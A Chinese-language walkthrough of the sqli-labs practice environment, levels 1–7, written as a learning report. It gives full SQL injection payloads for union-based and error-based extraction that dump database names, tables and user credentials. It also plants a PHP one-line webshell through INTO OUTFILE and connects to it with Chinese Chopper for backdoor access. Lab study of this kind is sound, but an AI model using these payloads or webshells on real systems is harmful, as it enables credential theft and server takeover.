与其说这是个实验报告,目前实验到了第5关
Introduction
SQL注入是什么。
很多人说SQL注入其实就是黑客们的填字游戏,我觉得这个比喻十分贴切。
那这个填字游戏怎么玩?
前置知识:Sql查询语句,数据库原理,php,最好加上一些web编程语言(html、css、JavaScript)
我这个实验环境是基于Apache和Mysql的sqli-labs,这是个印度程序员写的一个sql注入游戏
在学习Sql注入,我把所学知识记录下来形成这篇实验报告。
游戏一共有4个page,共75关。。。。
可以预见的大坑。
我会尽量这75关都过了,并根据过程写出完整的攻略,在攻略的基础上讲述sql注入知识。
Page-1
Less-1
这一关是最基础的手工sql注入关,这一关的实验报告会把最基础的sql注入语句基本都会出现一遍。
sql注入很多时候就是一种利用sql查询语句的语法特点,用单引号 ‘ 或双引号 “ 一类的符号强行关闭变量输入,并在其后增加自己想要的查询语句
第一关页面:
提示输入id
那么在地址后面跟着输入
?id=-1'
这是什么来的
?id=-1的意思——在这个页面中,名为id的变量的值为-1”
根据报错信息
推测查询语句应该是类似于
select 列名 from 表名 where id='$id'
变量id的值直接填入了两个单引号之间
那么尝试输入
?id=1
接下来开始整活
数据库名
在地址后面输入
?id=-1' union select 1,2,database() --+
这是什么来的
这一句和上一句?id=1的区别是这里$id的值-1是错误的(或者说,这是查不到数据的),同时-1后面用一个单引号闭合了前面的语句,而后使用了union这一关键字,查询database(),即数据库的名,要注意,此时id的值是错的,所以前半句不会有数据,只有后半句会有数据返回。最后的–+绝对不能省,–+是注释前缀,把后面的无关语句注释掉,保证自己的语句没有语法错误
数据库名为 security
表名
输入
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
这是又什么来的?
这一句和上一句的基本原理是相同的,都是使用单引号闭合,再使用union关键字联合查询,不过这次查的是group_concat(table_name),即表名;information_schema.tables是数据库中存表名的;table_schema=database()是存数据库名的。这些不会怎么变,所以记住它就好了
这里返回了多个表名emails,referers,uagents,users
按照名字来看,users应该就是用户名
字段名
输入
?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
这是啥?
这一句和上一句的区别不大,group_concat(colum_name)是列名,information_schema.columns是存列名的;table_name=’users’,就是表名为user
所以user表里面有USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password这些列
这里的username——账号,password——密码,就是我们想要的关键信息啦
字段
输入
?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+
这又是啥?
这一句要注意的是,0x3a是十六进制的58,58对应的是ASCII码中的冒号:,用来分开两个变量,当然你也可以换另外一个符号,它只是一个输出格式
此时表中的username和password,以 username:password 的格式出现
对应的账号密码已经全部导出来了。
总结
至此,sql注入能够做到的所有事情都展示了一遍。
Less-2
这一关与第一关的区别很小,
如果看报错信息
如果去看源码的话
Less-1的sql查询语句:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
Less-2的sql查询语句:
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
可以看到区别仅仅只是有无单引号的区别
所以在设置id的值的时候,直接输入自己的语句后,后面加–+(不用加单引号了)
即:
?id=1
?id=-1 union select 1,2,group_concat(username,0x3a,password) from users--+
类似这样
Less-3
还是那样,首先输入
?id=-1'
当然,写?id=1也是可以的,但这就直接进去了,没法看出查询语句的结构了
出现报错信息
‘1’’) LIMIT 0,1’ at line 1
这说明查询语句相对于第一关还多了一个括号
那我们在写语句的的时候就类似这样写
?id=-1') 整活语句 --+
这样-1后面的单引号闭合前面的单引号,右括号闭合前面的左括号,写完整活语句后,–+来注释掉后面的原本有单引号和右括号,以及其他乱七八糟的东西
看源码的话,查询语句是长这样的
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
Less-4
仍然是那样,输入
?id=-1'
什么都没有
这说明表中没有id为-1的列。
但是对于查询语句的结构我们还是没有任何思路。
那我们就在?id=-1后面加上其他符号来试出报错信息
所幸我们需要尝试的符号也不会太多
'
"
这两个的符号
为什么
因为这两个符号都不能够单独出现,同时都有闭合字符串的功能
输入
?id=-1"
出现报错!很好
原来这个语句在id外面还套上了一个双引号和括号
那我们就加上双引号和括号
?id=-1") 整活语句 --+
-1后面的双引号闭合前面的双引号,右括号闭合前面的左括号,写完整活语句后,–+来注释掉后面的原本有单引号和右括号,以及其他乱七八糟的东西
源码中的查询语句:
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
Less-5
输入
?id=1
再输入
?id=1'
推测,这个查询行为应该是这样:
id正确与否,都不会返回有用的信息,但是会返回报错信息
那么是否可以让数据库中的信息从报错信息中暴露出来呢?
concat()函数爆破
原理
简单来说,就是当在一个聚合函数(比如count()函数)后面使用分组语句group by,mysql就会把查询的信息的一部分,以报错信息的形式呈现出来
更详细的说明在这里
整个花的
?id=1' and (select 1 from (select count(*),concat((select(select concat(cast(concat(version(),0x7e,user(),0x7e,@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
句子很长很长,我们分解开来一部分一部分来说:
第一层
前面的?id=1’就不解释了,前面说得很清楚了
select concat(cast(concat(version(),0x7e,user(),0x7e,@@hostname,0x7e,@@datadir) as char),0x7e)
我们从括号最里面的子查询开始说,
concat() 连接函数,他能连接两个字符串变量,前置知识已经说过了
cast() 类型转换函数,后边跟着char,意味着其变量转换成char类型,以供外层的concat()使用
0x7e unicode码中的波浪号~,用来分开信息
在往外看一层 第二层
(select(select concat(cast(concat(version(),0x7e,user(),0x7e,@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1)
(select(上一句) from information_schema.tables limit 0,1)
这句的意思是,上句中的内容,从information_schema.tables表里面查询,limit 0,1 返回结果中的第一条
再往外加一层 第三层
(select count(*),concat((select(select concat(cast(concat(version(),0x7e,user(),0x7e,@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)
(select count(*),concat(上一句,floor(rand(0)*2))x from information_schema.tables group by x)
count() 汇总函数,返回查询结果行数
count()+concat()+group by 诱发报错
最后那一层
(select 1 from (select count(*),concat((select(select concat(cast(concat(version(),0x7e,user(),0x7e,@@hostname,0x7e,@@datadir) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
(select 1 from (上一句)a)
因为只是想要报错,所以最外面要求查询什么内容根本不重要,查询行为是从最里面的那层括号中的子查询开始的,从里往外查,因为在查上一句的时候就已经报错了,查询行为根本到不了这一层,这一层的作用是把最关键的部分打包起来,诱发双查询注入报错的。
精简
经过实验,最后一层其实是可以包含在上一层中的
另外,第二层其实也是可以省去的
即
select 1,count(*),concat((select concat(cast(concat(version(),0x7e,user(),0x7e,@@hostname,0x7e,@@datadir) as char),0x7e) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x --+
动手
顺利报错
我们得到了mysql的版本、用户、用户名、数据库位置
接下来需要得到用户表,以及表中的内容
这写法就大同小异了
查表名
?id=1' union select 1,count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 位置,1),'~',floor(rand(0)*2)) as x from information_schema.tables group by x --+
information_schema.tables 就是存数据库中所有表的表名的表
因为网页每次只接受返回一条查询结果limit 选择返回查询结果中的第几条
limit 位置,1 这一句中的位置可以改为返回指定某一条的结果
每次查一条,我们就可以看到数据库中包含的所有表的表名了
emails
referers
uagents
users
没了
所以一共有emails、referers、uagents、users四张表
可以很容易推测出users表里面存放的应该就是用户名和密码
所以接下来查users表中的内容
查列名
?id=1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 位置,1),'~',floor(rand(0)*2)) as x from information_schema.tables group by x --+
和上一步差不多
共有六个列,USER、CURRENT_CONNECTIONS、TOTAL_CONNECTIONS、id、username、password
查username、password
?id=1' union select 1,count(*),concat((select concat_ws('?',username,password) from users limit 位置,1),'~',floor(rand(0)*2)) as x from information_schema.tables group by x --+
concat_ws(),是concat()的特殊形式,意思是用第一个参数连接后两个参数
现在你可以查其中所有的用户名和密码啦
Less-6
这一关与第五关的区别就像第三关和第四关的区别一样
第五关用单引号闭合查询变量,第六关用双引号
仅此而已,把单引号 ‘ 换成双引号就行了 “
?id=1" union select 1,count(*),concat((select concat_ws('?',username,password) from users limit 位置,1),'~',floor(rand(0)*2)) as x from information_schema.tables group by x --+
Less-7
前提
这关是文件上传漏洞。
这个漏洞利用需要mysql允许文件上传功能
所以先调整mysql参数
在mysql的配置文件my.ini文件下的‘【mysqld】’添加
secure_file_priv=””
打开mysql的文件读写权限
开始
这一关属于盲注类型,因为不管你输入的id
是正确
还是错误
都没有出现有用的信息
从源码来看,也是如此
从本关的题目来看,本关的名字叫做 Dump into Outfile
文件导出漏洞
所以就要使用到常规的网站渗透手段啦
欢迎我们的新朋友——中国菜刀。
大名鼎鼎的国产的 一句话木马,webshell利用辅助软件
(以后应该会专门对这类软件专门写一篇文章)
这次我们用到的是一句话木马
一句话木马,简单来说,就是利用php文件的权限,使你能够获取后端服务器的权限。比如说此处的cmd,获取到了对方的命令行。有命令行了,这不就随便你玩了么。。。
但是php一句话木马,毕竟是木马,需要外部调用才能执行。
所以,我们要把它放在,我们能够调用它的地方,也就是在这里,当前网页文件存放的地方。这样,我们只要在域名输入对应的地址就可以激活这个木马啦!୧(๑•̀◡•́๑)૭
phpstudy的网页放在WWW文件夹下,因为我不想破坏网页结构,就直接从本地找到路径了
?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "路径"--+
别忘记咯,分割符是\而不是\
像这样
F:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\horse.php
输入以后,页面刷新了,但是没有什么太大的变化
查看网页本地位置,就可以看到出现了一个horse.php
现在我们可以说,这个网页已经被挂马了
接下来使用Cknife——中国菜刀来连接这个一句话木马,然后是留后门——webshell
Less-11
从这里开始就要使用比较高级的抓包工具了